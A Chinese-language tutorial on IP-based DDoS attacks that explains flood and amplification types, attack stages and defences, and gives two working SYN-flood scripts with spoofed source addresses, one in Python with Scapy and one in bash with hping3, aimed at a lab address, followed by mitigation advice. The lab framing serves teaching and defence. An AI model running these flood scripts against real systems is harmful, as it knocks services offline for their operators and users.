基于 IP 的 DDOS 攻击实验

一、介绍

基于IP的分布式拒绝服务（Distributed Denial of Service, DDoS）攻击是一种利用大量受控设备（通常是僵尸网络）向目标系统发送大量请求或数据包，以耗尽目标系统的资源，导致其无法正常提供服务的攻击方式。以下是对基于IP的DDoS攻击的详细介绍：

1.1 攻击类型

UDP洪水攻击（UDP Flood Attack）：
- 攻击者发送大量的UDP数据包到目标服务器的随机端口。目标服务器在收到这些数据包后，尝试查找每个目标端口上没有应用程序在监听的UDP包，导致其资源被耗尽。
ICMP洪水攻击（ICMP Flood Attack）：
- 攻击者发送大量的ICMP Echo请求（Ping）数据包，使目标服务器不断回复ICMP Echo应答，导致网络带宽和服务器资源被耗尽。
SYN洪水攻击（SYN Flood Attack）：
- 攻击者发送大量的TCP SYN包来启动大量的半连接（半握手），但不完成后续的握手过程，导致目标服务器的连接队列被占满，无法处理新的合法连接请求。
DNS放大攻击（DNS Amplification Attack）：
- 攻击者发送伪造源IP地址为目标服务器的DNS查询请求到开放的DNS解析器，解析器返回大量响应数据包到目标服务器，从而放大攻击流量。
NTP放大攻击（NTP Amplification Attack）：
- 攻击者利用开放的NTP服务器的MONLIST功能发送放大请求，伪造源IP地址为目标服务器，导致目标服务器收到大量的NTP响应数据包。
HTTP洪水攻击（HTTP Flood Attack）：
- 攻击者发送大量合法的HTTP请求到目标服务器，模拟正常用户访问，但以高频率和大规模发起，使目标服务器的资源被耗尽。

1.2 攻击特点

大规模性：攻击通常来自多个受控设备（僵尸网络），流量巨大，难以防御。
分布式：攻击流量来自多个地理位置，难以通过单一IP地址封锁。
多样化：攻击方式多种多样，可能组合使用多种攻击手段。

1.3 攻击步骤

准备阶段：
- 攻击者首先通过恶意软件或漏洞利用控制大量设备，形成僵尸网络（Botnet）。
指令下达：
- 攻击者向僵尸网络中的设备发送攻击指令，指定攻击目标和攻击方式。
攻击执行：
- 僵尸网络中的设备开始向目标服务器发送大量请求或数据包，形成DDoS攻击。
目标瘫痪：
- 目标服务器资源耗尽或网络带宽被占用，导致服务中断或性能严重下降。

1.4 防御措施

流量监控和分析：
- 使用流量监控工具实时分析网络流量，识别异常流量模式和潜在的DDoS攻击。
防火墙和入侵检测系统（IDS）/入侵防御系统（IPS）：
- 配置防火墙和IDS/IPS，过滤和阻止异常流量和攻击数据包。
负载均衡：
- 部署负载均衡器，将流量分配到多个服务器，避免单点过载。
黑洞路由：
- 当检测到DDoS攻击时，将恶意流量引导到黑洞路由（无效路由），防止其到达目标服务器。
内容分发网络（CDN）：
- 使用CDN分散流量，利用其分布式架构缓解DDoS攻击对单一服务器的压力。
清洗服务：
- 使用专门的DDoS清洗服务，清洗恶意流量，只将合法流量转发到目标服务器。
速率限制：
- 配置速率限制策略，限制每个IP地址的最大请求速率，防止单个IP地址发送过多请求。

通过多层次的防御措施和策略，可以有效缓解和防御基于IP的DDoS攻击，保护网络和服务器的可用性和稳定性。

在实际应用中，基于IP的分布式拒绝服务（DDoS）攻击是一种常见且严重的网络攻击方式。通过伪造源IP地址，攻击者可以分散攻击来源，使得受害者难以区分合法流量和恶意流量，从而使目标服务器资源耗尽，无法正常服务。以下是一个实验性的DDoS攻击示例，用于教育和研究目的。

二、实验环境

目标服务器：假设IP地址为 192.168.1.128
攻击者控制多个机器或使用一个工具模拟多个来源IP地址
工具：Scapy（Python库）或hping3（命令行工具）

三、实验步骤

3.1 使用 Scapy 模拟DDoS攻击

Scapy可以用来创建和发送自定义网络数据包。我们可以用它来模拟DDoS攻击，伪造多个源IP地址并向目标服务器发送大量请求。

python 复制代码

from scapy.all import *
import random

# 目标服务器IP地址
target_ip = "192.168.1.128"


# 生成随机IP地址
def random_ip():
    return ".".join(map(str, (random.randint(0, 255) for _ in range(4))))


# 创建伪造的数据包并发送
def ddos_attack(target_ip, num_packets):
    # 循环发送数据包
    for _ in range(num_packets):
        fake_ip = random_ip()
        ip_layer = IP(src=fake_ip, dst=target_ip)
        tcp_layer = TCP(sport=RandShort(), dport=8030, flags='S')
        packet = ip_layer / tcp_layer
        send(packet, verbose=False)


def main():
    # 发送1000个伪造的SYN包
    ddos_attack(target_ip, 1000)
    print("发送完毕")


if __name__ == '__main__':
    main()

受害者视角：

3.2 使用 hping3 模拟DDoS攻击

hping3是一个强大的命令行工具，用于生成和发送自定义TCP/IP数据包

bash 复制代码

#!/bin/bash

# 目标服务器IP地址
target_ip="192.168.1.128"

# 生成随机IP地址
random_ip() {
  echo "$((RANDOM % 256)).$((RANDOM % 256)).$((RANDOM % 256)).$((RANDOM % 256))"
}

# 发送伪造的SYN包
for i in {1..1000}; do
  fake_ip=$(random_ip)
  hping3 -S -p 80 -a $fake_ip $target_ip -c 1 2>/dev/null &
done

wait

受害者视角：

四、防御和缓解措施

网络流量分析和监控：
- 使用入侵检测系统（IDS）如Snort，实时监控和分析网络流量，识别异常流量模式。
- 配置网络监控工具如Wireshark，捕获和分析数据包，以检测DDoS攻击。
防火墙和路由器配置：
- 设置防火墙规则，过滤可疑的入站流量。
- 使用反向路径过滤（RPF）技术，确保入站数据包的源IP地址是可到达的。
速率限制和流量整形：
- 在网络边缘设备上配置速率限制，防止单个IP地址发送过多请求。
- 使用流量整形技术，控制进入网络的流量速率，防止带宽被恶意流量占用。